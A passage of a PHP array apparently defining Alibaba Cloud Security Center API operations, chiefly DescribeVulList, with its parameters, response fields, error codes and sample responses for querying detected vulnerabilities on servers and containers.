DFE4F166-1AC9-4FAC-A4E4-F0608AD705A6\\n","errorExample":""}]', 'title' => 'ModifyOperateVul', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeVulList' => [ 'summary' => 'Queries vulnerabilities by type.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92248', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Ids', 'in' => 'query', 'schema' => [ 'description' => 'The IDs of vulnerabilities. You can specify up to 50 IDs. Separate multiple IDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => '282,281,283', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The remarks for the asset affected by the vulnerability. The value can be the private IP address, public IP address, or name of the asset.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the asset group.'."\n" ."\n" .'> You can call the [DescribeAllGroups](~~DescribeAllGroups~~) operation to query the IDs of asset groups.'."\n", 'type' => 'string', 'required' => false, 'example' => '9207613', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability'."\n" .'* **sys**: Windows system vulnerability'."\n" .'* **cms**: Web-CMS vulnerability.'."\n" .'* **app**: application vulnerability that is detected by using web scanner'."\n" .'* **emg**: urgent vulnerability.'."\n" .'* **sca**: application vulnerability that is detected by using software component analysis'."\n", 'type' => 'string', 'required' => true, 'example' => 'cve', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of the servers on which you want to query the vulnerabilities. Separate multiple UUIDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to obtain the UUIDs.'."\n", 'type' => 'string', 'required' => false, 'example' => '1587bedb-fdb4-48c4-9330-****', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The alias of the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'oval:com.redhat.rhsa:def:20172836', ], ], [ 'name' => 'AliasName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'RHSA-2019:0230-Important: polkit security update', ], ], [ 'name' => 'StatusList', 'in' => 'query', 'schema' => [ 'description' => 'The status of the vulnerability. Separate multiple statuses with commas (,). Valid values:'."\n" ."\n" .'- 1: unfixed'."\n" .'- 2: fix failed'."\n" .'- 3: rollback failed'."\n" .'- 4: being fixed'."\n" .'- 5: being rolled back'."\n" .'- 6: being verified'."\n" .'- 7: fixed'."\n" .'- 8: fixed and to be restarted'."\n" .'- 9: rolled back'."\n" .'- 10: ignored'."\n" .'- 11: rolled back and to be restarted'."\n" .'- 12: not found'."\n" .'- 20: expired', 'type' => 'string', 'required' => false, 'example' => '1,2,3', ], ], [ 'name' => 'Necessity', 'in' => 'query', 'schema' => [ 'description' => 'The priority to fix the vulnerability. Separate multiple priorities with commas (,). Valid values:'."\n" ."\n" .'* **asap**: high'."\n" .'* **later**: medium'."\n" .'* **nntf**: low'."\n", 'type' => 'string', 'required' => false, 'example' => 'asap,later,nntf', ], ], [ 'name' => 'Dealed', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the vulnerabilities are fixed. Valid values:'."\n" ."\n" .'* **y**: yes'."\n" .'* **n**: no'."\n", 'type' => 'string', 'required' => false, 'example' => 'n', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'AttachTypes', 'in' => 'query', 'schema' => [ 'description' => 'The additional type of the vulnerabilities. You need to specify this parameter when you query application vulnerabilities. Set the value to **sca**. If you set **Type** to **app**, you must specify this parameter.'."\n" ."\n" .'> If you set this parameter to **sca**, application vulnerabilities and the vulnerabilities that are detected based on software component analysis are queried. If you do not specify this parameter, only application vulnerabilities are queried.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sca', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the asset on which the vulnerability is detected. Valid values:'."\n" ."\n" .'* **k8s**: Kubernetes component.'."\n" .'* **uuid**: server.'."\n" .'* **containerId**: container.'."\n", 'type' => 'string', 'required' => false, 'example' => 'k8s', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The cluster ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c88fb10da1168494091db6aafc5dd****', ], ], [ 'name' => 'VpcInstanceIds', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the virtual private cloud (VPC) in which the vulnerabilities are detected. Separate multiple IDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'ins-133****,ins-5414****', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the IDs.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1232428423234****', ], ], [ 'name' => 'UseNextToken', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to use NextToken to query the data of vulnerabilities. If you set UseNextToken to true, the value of TotalCount is not returned. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'false', ], ], [ 'name' => 'NextToken', 'in' => 'query', 'schema' => [ 'description' => 'The pagination token that is used in the next request to retrieve a new page of results. You must specify the token that is obtained from the previous query as the value of NextToken. You do not need to specify this parameter for the first request.'."\n", 'type' => 'string', 'required' => false, 'example' => 'E17B501887A2D3AA5E8360A6EFA3B***', ], ], [ 'name' => 'RaspDefend', 'in' => 'query', 'schema' => [ 'description' => 'Indicates whether the application protection feature is supported. Valid values:'."\n" ."\n" .'- **0**: no.'."\n" ."\n" .'- **1**: yes.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '2F26AB2A-1075-488F-8472-40E5DB486ACC', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of vulnerabilities returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'VulRecords' => [ 'description' => 'The information about the vulnerability.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the vulnerability. Valid values:'."\n" ."\n" .'* **1**: unfixed.'."\n" .'* **2**: fix failed.'."\n" .'* **3**: rollback failed.'."\n" .'* **4**: being fixed.'."\n" .'* **5**: being rolled back.'."\n" .'* **6**: being verified.'."\n" .'* **7**: fixed.'."\n" .'* **8**: fixed and to be restarted.'."\n" .'* **9**: rolled back.'."\n" .'* **10**: ignored.'."\n" .'* **11**: rolled back and to be restarted.'."\n" .'* **12**: not found.'."\n" .'* **20**: expired.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RaspDefend' => [ 'description' => 'Indicates whether the application protection feature is supported. Valid values:'."\n" ."\n" .'* **0**: no.'."\n" .'* **1**: yes.'."\n" ."\n" .'> If this parameter is not returned, the application protection feature is not supported.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RaspStatus' => [ 'description' => 'The protection mode of the application protection feature. Valid values:'."\n" ."\n" .'* **0**: unprotected.'."\n" .'* **1**: the Monitor mode.'."\n" .'* **2**: the Block mode.'."\n" .'* **3**: disabled.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Type' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability.'."\n" .'* **sys**: Windows system vulnerability.'."\n" .'* **cms**: Web-CMS vulnerability.'."\n" .'* **emg**: urgent vulnerability.'."\n" .'* **app**: application vulnerability.'."\n" .'* **sca**: application vulnerability that is detected by using software component analysis.'."\n", 'type' => 'string', 'example' => 'cve', ], 'ModifyTs' => [ 'description' => 'The timestamp when the vulnerability status was modified. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1620404763000', ], 'InternetIp' => [ 'description' => 'The public IP address of the asset.'."\n", 'type' => 'string', 'example' => '1.2.XX.XX', ], 'PrimaryId' => [ 'description' => 'The ID of the vulnerability.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '101162078', ], 'Tag' => [ 'description' => 'The tag that is added to the vulnerability.'."\n", 'type' => 'string', 'example' => 'oval', ], 'K8sClusterId' => [ 'description' => 'The ID of the cluster.'."\n" ."\n" .'> The value of this parameter is returned only if you use the Ultimate edition of Security Center that can protect container assets.'."\n", 'type' => 'string', 'example' => 'c863dc93bed3843de9934d4346dc4****', ], 'K8sNodeId' => [ 'description' => 'The ID of the node.'."\n" ."\n" .'> The value of this parameter is returned only if you use the Ultimate edition of Security Center that can protect container assets.'."\n", 'type' => 'string', 'example' => 'i-bp1ifm6suw9mnbsr****', ], 'InstanceName' => [ 'description' => 'The name of the asset.'."\n", 'type' => 'string', 'example' => 'testInstance', ], 'Online' => [ 'description' => 'Indicates whether the Security Center agent on the asset is online. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'OsVersion' => [ 'description' => 'The name of the operating system for your asset.'."\n", 'type' => 'string', 'example' => 'linux', ], 'Name' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'example' => 'oval:com.redhat.rhsa:def:20170574', ], 'Progress' => [ 'description' => 'The progress of the vulnerability fixing.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'ResultCode' => [ 'description' => 'The code that indicates the vulnerability fixing result.'."\n", 'type' => 'string', 'example' => '0', ], 'InstanceId' => [ 'description' => 'The ID of the asset.'."\n", 'type' => 'string', 'example' => 'i-bp18t***', ], 'Related' => [ 'description' => 'The Common Vulnerabilities and Exposures (CVE) IDs related to the vulnerability. Multiple CVE IDs are separated by commas (,).'."\n", 'type' => 'string', 'example' => 'CVE-2017-7518,CVE-2017-12188', ], 'IntranetIp' => [ 'description' => 'The private IP address of the asset.'."\n", 'type' => 'string', 'example' => '1.2.XX.XX', ], 'LastTs' => [ 'description' => 'The timestamp when the vulnerability was last detected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1620404763000', ], 'FirstTs' => [ 'description' => 'The timestamp when the vulnerability was first detected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1554189334000', ], 'RegionId' => [ 'description' => 'The region ID of the asset.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'Necessity' => [ 'description' => 'The priority to fix the vulnerability. Valid values:'."\n" ."\n" .'* **asap**: high.'."\n" .'* **later**: medium.'."\n" .'* **nntf**: low.'."\n" ."\n" .'> We recommend that you fix **high-risk** vulnerabilities at the earliest opportunity.'."\n", 'type' => 'string', 'example' => 'asap', ], 'RepairTs' => [ 'description' => 'The timestamp when the vulnerability was fixed. Unit: milliseconds. This parameter is returned only if you fix vulnerabilities in the Security Center console.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1541207563000', ], 'Uuid' => [ 'description' => 'The UUID of the asset.'."\n", 'type' => 'string', 'example' => '04c56617-23fc-43a5-ab9b-****', ], 'K8sPodName' => [ 'description' => 'The name of the pod.'."\n" ."\n" .'> The value of this parameter is returned only if you use the Ultimate edition of Security Center that can protect container assets.'."\n", 'type' => 'string', 'example' => 'deployment-riskai-7b67d68975-m****', ], 'ContainerId' => [ 'type' => 'string', 'description' => 'The container ID.'."\n", 'example' => '04d20e98c8e2c93b7b864372084320a15a58c8671e53c972ce3a71d9c163****'."\n", ], 'GroupId' => [ 'description' => 'The ID of the asset group.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '281801', ], 'ResultMessage' => [ 'description' => 'The message that indicates the vulnerability fixing result.'."\n", 'type' => 'string', 'example' => 'timeout', ], 'K8sNamespace' => [ 'description' => 'The namespace.'."\n" ."\n" .'> If you use the Ultimate edition of Security Center, the value of this parameter is queried from container assets. If you do not use the Ultimate edition, the value of this parameter is queried from the Security Center agent.'."\n", 'type' => 'string', 'example' => 'default', ], 'AliasName' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'example' => 'RHSA-2019:0230-Important: polkit security update', ], 'K8sNodeName' => [ 'description' => 'The name of the node.'."\n" ."\n" .'> The value of this parameter is returned only if you use the Ultimate edition of Security Center that can protect container assets.'."\n", 'type' => 'string', 'example' => 'deployment-riskai-7b67d68975-m****', ], 'ExtendContentJson' => [ 'description' => 'The extended information about the vulnerability.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the vulnerability. Valid values:'."\n" ."\n" .'* **1**: unfixed.'."\n" .'* **2**: fix failed.'."\n" .'* 3: rollback failed.'."\n" .'* **4**: being fixed.'."\n" .'* **5**: being rolled back.'."\n" .'* **6**: being verified.'."\n" .'* **7**: fixed.'."\n" .'* **8**: fixed and to be restarted.'."\n" .'* **9**: rolled back.'."\n" .'* **10**: ignored.'."\n" .'* **11**: rolled back and to be restarted.'."\n" .'* **12**: not found.'."\n" .'* **20**: expired.'."\n", 'type' => 'string', 'example' => '1', ], 'EmgProof' => [ 'description' => 'The returned message that indicates the urgent vulnerability.'."\n", 'type' => 'string', 'example' => 'com.xxl.rpc.util.XxlRpcException: xxl-rpc request data is empty.\\n\\tat com.xxl.rpc.remoting.net.impl.servlet.serve"', ], 'Ip' => [ 'description' => 'The public IP address of the asset that is associated with the vulnerability.'."\n", 'type' => 'string', 'example' => '1.2.XX.XX', ], 'PrimaryId' => [ 'description' => 'The ID of the vulnerability.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '111', ], 'Os' => [ 'description' => 'The name of the operating system.'."\n", 'type' => 'string', 'example' => 'centos', ], 'Tag' => [ 'description' => 'The tag that is added to the vulnerability.'."\n", 'type' => 'string', 'example' => 'oval', ], 'LastTs' => [ 'description' => 'The timestamp when the vulnerability was last detected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1620404763000', ], 'Description' => [ 'description' => 'The description of the vulnerability.'."\n", 'type' => 'string', 'example' => 'kernel version:5.10.84-10.2.al8.x86_64', ], 'OsRelease' => [ 'description' => 'The information about the operating system version.'."\n", 'type' => 'string', 'example' => '7', ], 'AliasName' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'example' => 'RHSA-2019:0230-Important: polkit security update', ], 'Target' => [ 'description' => 'The URL of the vulnerability.'."\n", 'type' => 'string', 'example' => 'http://39.99.XX.XX:30005/toLogin', ], 'AbsolutePath' => [ 'description' => 'The path to the package of the software that has the vulnerability.'."\n", 'type' => 'string', 'example' => '/roo/www/web', ], 'RpmEntityList' => [ 'description' => 'The information about RPM Package Manager (RPM) packages.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'FullVersion' => [ 'description' => 'The complete version number.'."\n", 'type' => 'string', 'example' => '3.10.0-693.2.2.el7', ], 'Version' => [ 'description' => 'The version number of the package of the software that has the vulnerability.'."\n", 'type' => 'string', 'example' => '3.10.0', ], 'MatchDetail' => [ 'description' => 'The reason why the vulnerability is detected.'."\n", 'type' => 'string', 'example' => 'python-perf version less than 0:3.10.0-693.21.1.el7', ], 'ImageName' => [ 'description' => 'The name of the image.'."\n", 'type' => 'string', 'example' => 'registry_387ytb_xxx', ], 'Path' => [ 'description' => 'The path to the software that has the vulnerability.'."\n", 'type' => 'string', 'example' => '/usr/lib64/python2.7/site-packages', ], 'ContainerName' => [ 'description' => 'The name of the container.'."\n", 'type' => 'string', 'example' => 'k8s_67895c4_xxx', ], 'Name' => [ 'description' => 'The name of the RPM package.'."\n", 'type' => 'string', 'example' => 'python-perf', ], 'UpdateCmd' => [ 'description' => 'The command that is used to fix the vulnerability.'."\n", 'type' => 'string', 'example' => '*** update python-perf', ], 'MatchList' => [ 'description' => 'The rules that are used to detect the vulnerability.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The rule that is used to detect the vulnerability.'."\n", 'type' => 'string', 'example' => 'fastjson(jar) extendField.safemode equals false', ], ], 'Pid' => [ 'description' => 'The process ID.'."\n", 'type' => 'string', 'example' => '8664', ], 'ExtendField' => [ 'description' => 'The extended information about the software package that has the vulnerability.'."\n", 'type' => 'string', 'example' => '{"msg_no_lookups_configured_CVE_2021_44228": "false", "jndi_class_not_exist": "false"}', ], ], ], ], 'cveList' => [ 'description' => 'The CVE list.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The CVE.'."\n", 'type' => 'string', 'example' => 'CVE-2016-8610', ], ], 'Necessity' => [ 'description' => 'Indicates whether the vulnerability needs to be fixed.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the vulnerability priority score. Valid values:'."\n" ."\n" .'* **none**: No score is generated.'."\n" .'* **pending**: The score is pending calculation.'."\n" .'* **normal**: The calculation is normal.'."\n", 'type' => 'string', 'example' => 'normal', ], 'Time_factor' => [ 'description' => 'The time score.'."\n", 'type' => 'string', 'example' => '1.0', ], 'Enviroment_factor' => [ 'description' => 'The environment score.'."\n", 'type' => 'string', 'example' => '1.0', ], 'Is_calc' => [ 'description' => 'Indicates whether the vulnerability priority score is calculated. Valid values:'."\n" ."\n" .'* **0**: no.'."\n" .'* **1**: yes.'."\n", 'type' => 'string', 'example' => '1', ], 'Total_score' => [ 'description' => 'The vulnerability priority score.'."\n" ."\n" .'The following list describes scores and related fixing suggestions:'."\n" ."\n" .'* If the score is from **13.5 to 15**, the vulnerability is a high-risk vulnerability. You must fix the vulnerability at the earliest opportunity.'."\n" .'* If the score is **greater than or equal to 7 but less than 13.5**, the vulnerability is a medium-risk vulnerability. You can fix the vulnerability at your convenience.'."\n" .'* If the score is **less than 7**, the vulnerability is a low-risk vulnerability. You can ignore the vulnerability.'."\n", 'type' => 'string', 'example' => '7.8', ], 'Cvss_factor' => [ 'description' => 'The Common Vulnerability Scoring System (CVSS) score.'."\n", 'type' => 'string', 'example' => '7.8', ], 'Assets_factor' => [ 'description' => 'The asset importance score. Valid values:'."\n" ."\n" .'* **2**: important asset.'."\n" .'* **1**: common asset.'."\n" .'* **0**: test asset.'."\n", 'type' => 'string', 'example' => '1', ], ], ], ], ], 'Bind' => [ 'description' => 'Indicates whether Security Center is authorized to scan the asset. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'OsName' => [ 'description' => 'The name of the operating system for your asset.'."\n", 'type' => 'string', 'example' => 'CentOS 7.2 64-bit'."\n", ], 'AuthVersion' => [ 'description' => 'The edition of Security Center that is authorized to scan the asset. Valid values:'."\n" ."\n" .'* **1**: Basic.'."\n" .'* **6**: Anti-virus.'."\n" .'* **5**: Advanced.'."\n" .'* **3**: Enterprise.'."\n" .'* **7**: Ultimate.'."\n" .'* **10**: Value-added Plan.'."\n", 'type' => 'string', 'example' => '3', ], 'RealRisk' => [ 'description' => 'Indicates whether the vulnerability is easily exploited. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RuleTag' => [ 'description' => 'The tag of this vulnerability. Valid values:'."\n" ."\n" .'* **AI**: AI-related components.', 'type' => 'string', 'example' => 'AI', ], 'Image' => [ 'description' => 'The name of the image.', 'type' => 'string', 'example' => 'registry-cn-**-vpc.ack.**.com/acs/ack-node-problem-detector:v0.8.16-8ed7053-**', ], 'Namespace' => [ 'description' => 'The namespace.', 'type' => 'string', 'example' => 'kube-system', ], ], 'description' => '', ], ], 'NextToken' => [ 'description' => 'The value of NextToken that is returned when the NextToken method is used.'."\n", 'type' => 'string', 'example' => 'E17B501887A2D3AA5E8360A6EFA3B***', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'InnerError', 'errorMessage' => 'InnerError', ], [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], [ 'errorCode' => 'DataNotExists', 'errorMessage' => '%s data not exist', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], [ 'errorCode' => 'MissingType', 'errorMessage' => 'Type is mandatory for this action.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"2F26AB2A-1075-488F-8472-40E5DB486ACC\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 2,\\n \\"VulRecords\\": [\\n {\\n \\"Status\\": 1,\\n \\"RaspDefend\\": 1,\\n \\"RaspStatus\\": 1,\\n \\"Type\\": \\"cve\\",\\n \\"ModifyTs\\": 1620404763000,\\n \\"InternetIp\\": \\"1.2.XX.XX\\",\\n \\"PrimaryId\\": 101162078,\\n \\"Tag\\": \\"oval\\",\\n \\"K8sClusterId\\": \\"c863dc93bed3843de9934d4346dc4****\\",\\n \\"K8sNodeId\\": \\"i-bp1ifm6suw9mnbsr****\\",\\n \\"InstanceName\\": \\"testInstance\\",\\n \\"Online\\": true,\\n \\"OsVersion\\": \\"linux\\",\\n \\"Name\\": \\"oval:com.redhat.rhsa:def:20170574\\",\\n \\"Progress\\": 100,\\n \\"ResultCode\\": \\"0\\",\\n \\"InstanceId\\": \\"i-bp18t***\\",\\n \\"Related\\": \\"CVE-2017-7518,CVE-2017-12188\\",\\n \\"IntranetIp\\": \\"1.2.XX.XX\\",\\n \\"LastTs\\": 1620404763000,\\n \\"FirstTs\\": 1554189334000,\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Necessity\\": \\"asap\\",\\n \\"RepairTs\\": 1541207563000,\\n \\"Uuid\\": \\"04c56617-23fc-43a5-ab9b-****\\",\\n \\"K8sPodName\\": \\"deployment-riskai-7b67d68975-m****\\",\\n \\"ContainerId\\": \\"04d20e98c8e2c93b7b864372084320a15a58c8671e53c972ce3a71d9c163****\\\\n\\",\\n \\"GroupId\\": 281801,\\n \\"ResultMessage\\": \\"timeout\\",\\n \\"K8sNamespace\\": \\"default\\",\\n \\"AliasName\\": \\"RHSA-2019:0230-Important: polkit security update\\",\\n \\"K8sNodeName\\": \\"deployment-riskai-7b67d68975-m****\\",\\n \\"ExtendContentJson\\": {\\n \\"Status\\": \\"1\\",\\n \\"EmgProof\\": \\"com.xxl.rpc.util.XxlRpcException: xxl-rpc request data is empty.\\\\\\\\n\\\\\\\\tat com.xxl.rpc.remoting.net.impl.servlet.serve\\\\\\"\\",\\n \\"Ip\\": \\"1.2.XX.XX\\",\\n \\"PrimaryId\\": 111,\\n \\"Os\\": \\"centos\\",\\n \\"Tag\\": \\"oval\\",\\n \\"LastTs\\": 1620404763000,\\n \\"Description\\": \\"kernel version:5.10.84-10.2.al8.x86_64\\",\\n \\"OsRelease\\": \\"7\\",\\n \\"AliasName\\": \\"RHSA-2019:0230-Important: polkit security update\\",\\n \\"Target\\": \\"http://39.99.XX.XX:30005/toLogin\\",\\n \\"AbsolutePath\\": \\"/roo/www/web\\",\\n \\"RpmEntityList\\": [\\n {\\n \\"FullVersion\\": \\"3.10.0-693.2.2.el7\\",\\n \\"Version\\": \\"3.10.0\\",\\n \\"MatchDetail\\": \\"python-perf version less than 0:3.10.0-693.21.1.el7\\",\\n \\"ImageName\\": \\"registry_387ytb_xxx\\",\\n \\"Path\\": \\"/usr/lib64/python2.7/site-packages\\",\\n \\"ContainerName\\": \\"k8s_67895c4_xxx\\",\\n \\"Name\\": \\"python-perf\\",\\n \\"UpdateCmd\\": \\"*** update python-perf\\",\\n \\"MatchList\\": [\\n \\"fastjson(jar) extendField.safemode equals false\\"\\n ],\\n \\"Pid\\": \\"8664\\",\\n \\"ExtendField\\": \\"{\\\\\\"msg_no_lookups_configured_CVE_2021_44228\\\\\\": \\\\\\"false\\\\\\", \\\\\\"jndi_class_not_exist\\\\\\": \\\\\\"false\\\\\\"}\\"\\n }\\n ],\\n \\"cveList\\": [\\n \\"CVE-2016-8610\\"\\n ],\\n \\"Necessity\\": {\\n \\"Status\\": \\"normal\\",\\n \\"Time_factor\\": \\"1.0\\",\\n \\"Enviroment_factor\\": \\"1.0\\",\\n \\"Is_calc\\": \\"1\\",\\n \\"Total_score\\": \\"7.8\\",\\n \\"Cvss_factor\\": \\"7.8\\",\\n \\"Assets_factor\\": \\"1\\"\\n }\\n },\\n \\"Bind\\": true,\\n \\"OsName\\": \\"CentOS 7.2 64位\\",\\n \\"AuthVersion\\": \\"3\\",\\n \\"RealRisk\\": true,\\n \\"RuleTag\\": \\"AI\\",\\n \\"Image\\": \\"registry-cn-**-vpc.ack.**.com/acs/ack-node-problem-detector:v0.8.16-8ed7053-**\\",\\n \\"Namespace\\": \\"kube-system\\"\\n }\\n ],\\n \\"NextToken\\": \\"E17B501887A2D3AA5E8360A6EFA3B***\\"\\n}","errorExample":""},{"type":"xml","example":"\\n2\\n20\\n2F26AB2A-1075-488F-8472-40E5DB486ACC\\n\\n 1\\n i-bp18t***\\n linux\\n asap\\n 1620404763000\\n timeout\\n 1.2.XX.XX\\n 281801\\n oval:com.redhat.rhsa:def:20170574\\n 测试ECS\\n 1541207563000\\n 1554189334000\\n cve\\n 1620404763000\\n CVE-2017-7518,CVE-2017-12188\\n 04c56617-23fc-43a5-ab9b-****\\n 1.2.XX.XX\\n RHSA-2019:0230-Important: polkit security update\\n oval\\n true\\n 0\\n 101162078\\n \\n 1\\n centos\\n 1.2.XX.XX\\n RHSA-2019:0230-Important: polkit security update\\n 1620404763000\\n oval\\n /roo/www/web\\n 7\\n 111\\n \\n /usr/lib64/python2.7/site-packages\\n registry_387ytb_xxx\\n *** update python-perf\\n k8s_67895c4_xxx\\n 3.10.0\\n 3.10.0-693.2.2.el7\\n python-perf version less than 0:3.10.0-693.21.1.el7\\n python-perf\\n \\n [\\"CVE-2016-8610\\", \\"CVE-2017-5335\\" ]\\n \\n 7.8\\n normal\\n 1\\n 7.8\\n 1\\n 1\\n 1\\n \\n \\n\\n1\\n","errorExample":""}]', 'title' => 'DescribeVulList', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeEmgVulItem' => [ 'summary' => 'Queries the details of urgent vulnerabilities.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'RiskStatus', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the vulnerability poses risks.\\'."\n" .'If you do not specify this parameter, all vulnerabilities are queried regardless of whether the vulnerabilities pose risks. Valid values:'."\n" ."\n" .'* **y**: yes'."\n" .'* **n**: no'."\n", 'type' => 'string', 'required' => false, 'example' => 'y', ], ], [ 'name' => 'ScanType', 'in' => 'query', 'schema' => [ 'description' => 'The method that is used to detect the vulnerability.\\'."\n" .'If you do not specify this parameter, all vulnerabilities are queried regardless of which method is used. Valid values:'."\n" ."\n" .'* **python**: The Version method is used. Security Center checks the software versions of your server to check whether disclosed vulnerabilities exist on your server.'."\n" .'* **scan**: The Network Scan method is used. Security Center analyzes the access traffic to your server over the Internet to check whether vulnerabilities exist on your server.'."\n", 'type' => 'string', 'required' => false, 'example' => 'python', ], ], [ 'name' => 'CheckType', 'in' => 'query', 'schema' => [ 'title' => '检测方式', 'description' => 'The check method. Valid values:'."\n" .'* **0**: proof of concept (POC) verification'."\n" .'* **1**: version comparison', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'VulName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the urgent vulnerability.'."\n", 